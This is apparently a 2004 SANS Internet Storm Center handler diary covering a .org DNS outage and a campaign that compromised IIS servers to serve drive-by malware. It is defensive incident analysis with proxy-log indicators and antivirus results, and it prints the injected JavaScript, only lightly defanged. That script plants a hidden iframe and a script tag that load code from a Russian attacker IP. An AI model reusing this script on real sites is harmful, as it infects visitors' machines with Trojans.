.org DNS Issues

This morning, DNS resolution of .org domains appears to fail occasionally.
Preliminary information shows that some of the UltraDNS servers are not
responding. The cause and scope of this problem is unknown so far.
Reports about problems are mostly limited to North America at this time.

UPDATE (1930 UTC) - the .org zone is working now.

Sometimes it helps to use the "dig" command to zero-in on suspected DNS issues. Try this command and modify it as needed when troubleshooting:

% dig sans.org ns +trace


RFI - Russian IIS Hacks?

UPDATE (2100 UTC) - Thanks to everybody who generously provided updates to us today. We still do not know how the IIS servers are originally infected with the JavaScript or the modification to the configuration files. Any additional theories or ideas are welcome.

The reason for the attack seems to point back to the spamming community. There is quite a bit of evidence that what we are seeing is yet another technique for spreading and installing "spamware" (software that assists in either creating, relaying, proxying, or otherwise participating in the sending of spam.) We don't see any evidence that this attack is related to the construction of a DDoS network or other type of typical zombie-based attack group. However, we continue to monitor and will provide updates if anything further develops.

Two readers sent us snips from their proxy logs (thanks, Rich and Mike!) While the flows are slightly different, this is the pattern to look for as an indicator that one of your clients has attempted to visit the Russian site:
NOTE: These links are obfuscated. Accessing these URLs may result
in a virus infection

GET _http_://217.107.218.147/dot.php

GET _http_://217.107.218.147/new.html

GET _http_://217.107.218.147/dot.php

GET _http_://217.107.218.147/new.html

GET _http_://217.107.218.147//main.chm

GET _http_://217.107.218.147/msits.exe

GET _http_://217.107.218.147/redir.php





GET _http_://217.107.218.147/new.html

GET _http_://217.107.218.147/dot.php

GET _http_://217.107.218.147/new.html

GET _http_://217.107.218.147/md.htm

GET _http_://217.107.218.147/redir.php

GET _http_://217.107.218.147/dot.php

GET _http_://217.107.218.147/new.html

GET _http_://217.107.218.147/dot.php

GET _http_://217.107.218.147/new.html

GET _http_://217.107.218.147/md.htm

GET _http_://217.107.218.147/redir.php




One reader (thanks, Ben!) submitted a list of files found on his compromised IIS server. The files he sent us included:

Code snippits.doc

iis6xx.dll (multiple copies, where xx varies)

iis7yy.dll (multiple copies, where yy varies)

Download_Ject_Symantec.doc

ipaddress.txt

issue.csv

ads.vbs

agent.exe

ftpcmd.txt

security_log.rtf




Finally, the executable we mentioned in the previous update (msits.exe) is not detected by most AV suites, contrary to what we earlier thought. Here is what we found when we tested it at virustotal.com:

BitDefender 7.0/20040624 nothing

eTrustAV-Inoc 4641/20040623 nothing

F-Prot 3.14e/20040624 nothing

Kaspersky 3.0/20040625 nothing

McAfee 4369/20040624 nothing

NOD32v2 1.794/20040623 nothing

Norman 5.70.01/20040512 nothing

Panda 7.02.00/20040624 nothing

Sybari 7.50.1138/20040624 [Win32.Webber]

Symantec 8.0/20040624 [Backdoor.Berbew.F]

TrendMicro 1.00/20040624 nothing



UPDATE (1930 UTC) - Several readers have responded and confirmed that this is a wide-spread issue. Here is what we know so far:

- An IIS server's configuration is somehow modified so that "enable document footer" is enabled for various (if not all) files and linked to the new .dll file(s) in \winnt\system32\inetsrv. This might be done with the help of a program called agent.exe installed via one of the multiple known IIS vulnerabilities. (Thanks, Patrick and Ben!)

- When a visitor browses the site, all of the objects with their properties set to "enable document footer" are sent to the client browser with the JavaScript appended to the end of the file. If the visitor is running an updated version of AV software, the modified files (which include images as well as .html) are detected as being infected.

- The visitor's browser is re-directed to the Russian URL listed below where a known Trojan program (msits.exe) is downloaded, along with some additional malware. Again, if the user's machine is updated with current AV software, this malware is detected and blocked. (Thanks, Michael!)

- The earliest reported infection was on June 20th (four days ago).
What we DON'T know, and can use some help in figuring out, is how the malware is installed on the IIS server to begin with. Is there a zero-day floating around? Is it via a known vulnerability and the use of agent.exe as mentioned above? (Ed Skodis, one of our handlers, suggested that perhaps the IIS system admin used a local copy of IE to browse a site and pulled down hostile JavaScript. Does that jive with anybody's findings?)

Our concern is that there might be an IIS zero-day floating around. We won't list the sites that are reported to be infected in order to prevent further abuse, but the list is long and includes businesses that we presume would normally be keeping their sites fully patched.
[original diary entry follows]

A reader pointed us to an IIS discussion group (microsoft.public.inetserver.iis.security) where several IIS administrators discovered some strange .dll files on their web servers in the past 24 hours. According to the discussion on that list, they are all 1kb .dll files. They were deposited in the \winnt\system32\inetsrv directory with names like iis7xy.dll where x is a random number that appears to be between 1-3 and y is a random character or number.

The .dll's contain JavaScript similar to the string below. I've intentionally added some spacing to defang it a bit:
<script language="JavaScript">

<!--
var qxco7=document.cookie;function gc099(n21)

{var ix=qxco7.indexOf(n21+"=");

if(ix==-1)return null;ix=qxco7.indexOf("=",ix)+1;

var es=qxco7.indexOf(";",ix);

if(es==-1)es=qxco7.length;

return unescape(qxco7.substring(ix,es));}

function sc088(n24,v8){var today=new Date();

var expiry=new Date(today.getTime()+600000);

if(v8!=null&&v8!="")document.cookie=n24+"="+escape(v8)+";

expires="+expiry.toGMTString();qxco7=document.cookie;}

function okx12(){window.status="";setTimeout("okx12()", 200);}

okx12();if(location.href.indexOf("https")!=0)

{if(gc099("trk716")==null){document.write

("<script language=\"JavaScript\"

src=\"http://217.107.218.147/dot.php\"></script><iframe

src=\"http://217.107.218.147/dot.php\" height=\"1\" width=\"1\"

scrolling=\"no\" frameborder=\"no\"/>");sc088("trk716","4");}}

// --></script>
There are other reports in the past 24 hours indicating that this JavaScript has been seen appended to text files and other file types.

The Storm Center would like to know if others are seeing this phenomena and if there are any ideas about it origin or intent (other than being an attempt to download malware - that's obvious.) The IP address in the JavaScript points to a Russian site, and at the time of this writing it is still active. A note of caution - that site will attempt to insert malicious code onto a visiting machine. Use extreme caution if you decide to visit it.
Marcus H. Sachs

Handler on Duty